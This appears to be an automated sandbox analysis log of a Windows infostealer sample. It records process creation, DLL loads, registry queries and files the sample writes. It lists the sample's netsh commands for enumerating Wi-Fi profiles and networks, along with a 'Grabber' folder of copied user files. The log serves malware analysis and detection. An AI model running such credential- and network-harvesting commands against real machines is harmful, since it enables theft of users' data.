Source: integrator.exe.0.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');

Source: LisectAVT_2403002B_4.exe

String found in binary or memory: \servers.dat-launcher_profiles.json/\launcher_profiles.json

Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe

File read: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe "C:\Users\user\Desktop\LisectAVT_2403002B_4.exe"
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Process created: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe "C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe"
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr All
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show networks mode=bssid
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Process created: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe "C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show profile \| findstr All	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show profile	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr All	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh wlan show networks mode=bssid	Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ifmon.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasmontr.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mfc42u.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: authfwcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: firewallapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwbase.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcmonitor.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3cfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dot3api.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: onex.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: eappprxy.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: fwcfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: hnetmon.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netshell.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nlaapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netsetupapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: netiohlp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshhttp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: httpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshipsec.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: activeds.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: polstore.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winipsec.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: adsldpc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: nshwfp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cabinet.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2pnetsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: p2p.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rpcnsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: whhelper.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlancfg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wlanapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wshelper.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wevtapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: peerdistsh.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wcmapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: rmclient.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mobilenetworking.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: ktmw32.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: mprmsg.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: msasn1.dll

Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe

File written: C:\Users\user\AppData\Local\b5c3000de7baf6b3603fa17667779c95\user@585948_en-CH\Grabber\DRIVE-C\Users\user\Pictures\desktop.ini

Jump to behavior

Source:	Binary string: D:\a\_work\e\src\out\Release_x64\pwahelper.exe.pdb source: pwahelper.exe.0.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\cookie_exporter.exe.pdb source: cookie_exporter.exe.0.dr
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Win32\Release\armsvc.pdb source: armsvc.exe.0.dr
Source:	Binary string: winload_prod.pdb source: LisectAVT_2403002B_4.exe, 00000001.00000002.4484639926.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Temp.txt.1.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2rcross\x-none\appsharinghookcontroller.pdb source: AppSharingHookController.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\msqry32.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: MSQRY32.EXE.0.dr
Source:	Binary string: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: LisectAVT_2403002B_4.exe, 00000000.00000003.2017149039.0000000002084000.00000004.00001000.00020000.00000000.sdmp, LisectAVT_2403002B_4.exe, 00000000.00000003.2017109516.0000000002080000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: AppVDllSurrogate64.pdb source: AppVDllSurrogate64.exe.0.dr
Source:	Binary string: ntkrnlmp.pdb\ source: LisectAVT_2403002B_4.exe, 00000001.00000002.4484639926.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Temp.txt.1.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\identity_helper.exe.pdbOGP source: identity_helper.exe.0.dr
Source:	Binary string: d:\dbs\el\ja2\target\x86\ship\dw\x-none\dw20.pdb source: DW20.EXE.0.dr
Source:	Binary string: D:\a\_work\1\s\src\ai\windows\dll\Win32\Release\aimgr.pdb# source: aimgr.exe0.0.dr
Source:	Binary string: D:\dbs\el\ja2\Target\x86\ship\dcf\x-none\Common.DBConnection64.pdb source: Common.DBConnection64.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\msoev.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: msoev.exe.0.dr
Source:	Binary string: MicrosoftEdgeUpdate_unsigned.pdb source: MicrosoftEdgeUpdate.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\cnfnot32.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: CNFNOT32.EXE.0.dr
Source:	Binary string: GoogleCrashHandler64_unsigned.pdb source: GoogleCrashHandler64.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\olicenseheartbeat.pdb source: OLicenseHeartbeat.exe.0.dr
Source:	Binary string: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb source: LisectAVT_2403002B_4.exe, 00000000.00000003.2017109516.0000000002080000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\documentchat_localserver\x-none\SkypeServer.pdb source: SKYPESERVER.EXE.0.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\msedge_pwa_launcher.exe.pdb source: msedge_pwa_launcher.exe.0.dr
Source:	Binary string: C:\Data\svn\autoit\branch_3.3.16\bin\Aut2Exe\Aut2Exe.pdb source: Aut2exe.exe.0.dr
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Win32\Release\AdobeARMHelper.pdb source: AdobeARMHelper.exe.0.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\click2run\x-none\Integrator.pdb source: integrator.exe.0.dr
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\unpackexe\unpack200.pdb00 source: unpack200.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\graph.pdb source: GRAPH.EXE.0.dr
Source:	Binary string: r.pdb source: AppSharingHookController.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\ocpubmgr.pdb source: OcPubMgr.exe.0.dr
Source:	Binary string: WINLOA~1.PDB source: LisectAVT_2403002B_4.exe, 00000000.00000003.2017149039.0000000002084000.00000004.00001000.00020000.00000000.sdmp, LisectAVT_2403002B_4.exe, 00000000.00000003.2017109516.0000000002080000.00000004.00001000.00020000.00000000.sdmp
